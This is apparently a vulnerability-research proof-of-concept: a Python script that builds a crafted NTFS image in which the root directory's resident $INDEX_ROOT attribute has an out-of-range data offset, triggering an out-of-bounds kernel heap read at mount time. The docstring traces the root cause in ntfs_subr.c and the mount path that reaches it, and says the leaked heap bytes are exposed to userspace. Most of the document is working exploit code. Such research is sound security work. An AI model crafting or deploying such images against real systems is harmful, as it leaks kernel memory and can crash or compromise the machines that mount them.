DF-0788 / gen_ntfs_0788.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 | #!/usr/bin/env python3 """ gen_ntfs_0788.py - Crafted NTFS image that triggers the unvalidated resident attribute data-offset OOB read in ntfs_attrtontvattr() (sys/vfs/ntfs/ntfs_subr.c:557-564). DF-0788 root cause (confirmed by source trace): 263: mfrp = kmalloc(ntfs_bntob(ntmp->ntm_bpmftrec), M_TEMP, M_WAITOK); ... 305: off = mfrp->fr_attroff; // start of attributes 306: ap = (struct attr *)((caddr_t)mfrp + off); 310: while (ap->a_hdr.a_type != -1) { 311: error = ntfs_attrtontvattr(ntmp, &nvap, ap); // <-- DF-0788 fires ... 557: vap->va_datalen = rap->a_r.a_datalen; // u16 from disk 561: vap->va_datap = kmalloc(vap->va_datalen, M_NTFSRDATA, M_WAITOK); 563: memcpy(vap->va_datap, 564: (caddr_t) rap + rap->a_r.a_dataoff, // u16 from disk, UNCHECKED rap->a_r.a_datalen); // u16 from disk, UNCHECKED rap points into mfrp (the kmalloc'd MFT record buffer). a_dataoff is a u16 read directly from disk with NO bounds validation. If a_dataoff + a_datalen exceeds the record buffer, the memcpy reads past mfrp into adjacent M_TEMP slab heap. The leaked bytes land in vap->va_datap and are later exposed to userspace via ntfs_readntvattr_plain():1594 uiomove(vap->va_datap + roff, rsize, uio). Trigger: craft an NTFS image where ino 5 (root dir) has a resident $INDEX_ROOT attribute whose a_r.a_dataoff points past the 4096-byte MFT record. At mount time, ntfs_mountfs -> VFS_VGET(ROOTINO=5) -> ntfs_loadntnode(5) -> attribute walk -> ntfs_attrtontvattr -> OOB memcpy. The DF-0787 unbounded-walk issue only affects iterations AFTER the first attribute (it lives in `off += reclen`). Since DF-0788 fires inside ntfs_attrtontvattr on the FIRST attribute, it is reached before DF-0787. reachability confirmed: sys/vfs/ntfs/ntfs_vfsops.c:393-403 calls VFS_VGET for NTFS_MFTINO(0), NTFS_ROOTINO(5), NTFS_BITMAPINO(6) during mount. Ino 5's resident $INDEX_ROOT triggers the memcpy. Output: ntfs_0788.img - a crafted image with ino 5's resident $INDEX_ROOT a_dataoff set to 0x0F80 (3968), so rap(0x48) + 0x0F80 + datalen(~208) reads ~16-200+ bytes past the 4096-byte MFT record buffer. """ import struct, sys, os HERE = os.path.dirname(os.path.abspath(__file__)) SIBLING = os.path.join(HERE, '..', 'DF-0786', 'gen_ntfs.py') sys.path.insert(0, os.path.dirname(SIBLING)) import importlib.util spec = importlib.util.spec_from_file_location("gen_ntfs", SIBLING) gen_ntfs = importlib.util.module_from_spec(spec) spec.loader.exec_module(gen_ntfs) # constants from the sibling generator BPS = gen_ntfs.BPS SPC = gen_ntfs.SPC CLUS = gen_ntfs.CLUS MFTCN = gen_ntfs.MFTCN MFTRECBYTES = gen_ntfs.MFTRECBYTES NUM_CLUSTERS = gen_ntfs.NUM_CLUSTERS NTFS_A_INDXROOT = gen_ntfs.NTFS_A_INDXROOT NTFS_FRFLAG_DIR = gen_ntfs.NTFS_FRFLAG_DIR def build_mft_record_5_oob(): """Build ino-5 (root dir) MFT record with a resident $INDEX_ROOT whose a_r.a_dataoff points past the record boundary -> OOB read in memcpy. Start from the sibling's clean root dir, then patch a_r.a_dataoff. """ clean = gen_ntfs.build_mft_record_5() rec = bytearray(clean) # Locate the first attribute (fr_attroff). fr_attroff = struct.unpack_from('<H', rec, 20)[0] # byte offset 20 in filerec # The resident attribute header layout (struct attr + a_S.a_S_r): # offset 0: a_type u32 (attrhdr) # offset 4: reclen u32 # offset 8: a_flag u8 # offset 9: a_namelen u8 # offset 10: a_nameoff u8 # offset 11: reserved1 u8 # offset 12: a_compression u8 # offset 13: reserved2 u8 # offset 14: a_index u16 # ---- resident header (a_S.a_S_r) ---- # offset 16: a_datalen u16 # offset 18: reserved1 u16 # offset 20: a_dataoff u16 <-- THE BUG TARGET # offset 22: a_indexed u16 dataoff_field = fr_attroff + 20 # a_r.a_dataoff within the record datalen_field = fr_attroff + 16 # a_r.a_datalen within the record # Read original values for reporting orig_dataoff = struct.unpack_from('<H', rec, dataoff_field)[0] orig_datalen = struct.unpack_from('<H', rec, datalen_field)[0] # Corrupt a_dataoff: push it so that rap + a_dataoff + a_datalen # exceeds the record buffer (4096 bytes). # rap = rec + fr_attroff (=72). We want 72 + a_dataoff + a_datalen > 4096. # Set a_dataoff = 0x0F80 (3968): 72 + 3968 = 4040; +208 = 4248 > 4096. # This reads ~152 bytes past the 4096-byte buffer into adjacent heap. new_dataoff = 0x0F80 struct.pack_into('<H', rec, dataoff_field, new_dataoff) sys.stderr.write( f"[gen] ino5 $INDEX_ROOT: fr_attroff={fr_attroff} " f"a_dataoff {orig_dataoff:#06x} -> {new_dataoff:#06x} " f"(a_datalen={orig_datalen}); read target = rec[{fr_attroff}+{new_dataoff}] " f"= rec[{fr_attroff+new_dataoff}] + {orig_datalen}B " f"-> {fr_attroff+new_dataoff+orig_datalen} > {MFTRECBYTES} (OOB by " f"{fr_attroff+new_dataoff+orig_datalen-MFTRECBYTES}B)\n") # Re-apply fixups (corruption is in the attribute body, not on a sector # boundary, so ntfs_procfixups will still succeed and the walk is reached). return gen_ntfs.apply_fixups(bytes(rec)) def build_image(): img = bytearray(NUM_CLUSTERS * CLUS) img[0:len(gen_ntfs.make_boot_sector())] = gen_ntfs.make_boot_sector() mft_records = [None] * 11 mft_records[0] = gen_ntfs.build_mft_record_0() mft_records[1] = gen_ntfs.build_mft_minimal() mft_records[2] = gen_ntfs.build_mft_minimal() mft_records[3] = gen_ntfs.build_mft_minimal() mft_records[4] = gen_ntfs.build_mft_record_4() mft_records[5] = build_mft_record_5_oob() # <-- corrupted root dir mft_records[6] = gen_ntfs.build_mft_record_6() mft_records[7] = gen_ntfs.build_mft_minimal() mft_records[8] = gen_ntfs.build_mft_minimal() mft_records[9] = gen_ntfs.build_mft_minimal() mft_records[10] = gen_ntfs.build_mft_record_10() for i in range(11): off = (MFTCN + i) * CLUS img[off:off + len(mft_records[i])] = mft_records[i] upcase = gen_ntfs.make_upcase_data() uo = gen_ntfs.UPCASE_CN * CLUS img[uo:uo + len(upcase)] = upcase return bytes(img) def main(): out = sys.argv[1] if len(sys.argv) > 1 else 'ntfs_0788.img' img = build_image() with open(out, 'wb') as f: f.write(img) print(f"[gen] wrote {out}: {len(img)} bytes ({len(img)//1024} KB)") if __name__ == '__main__': main() |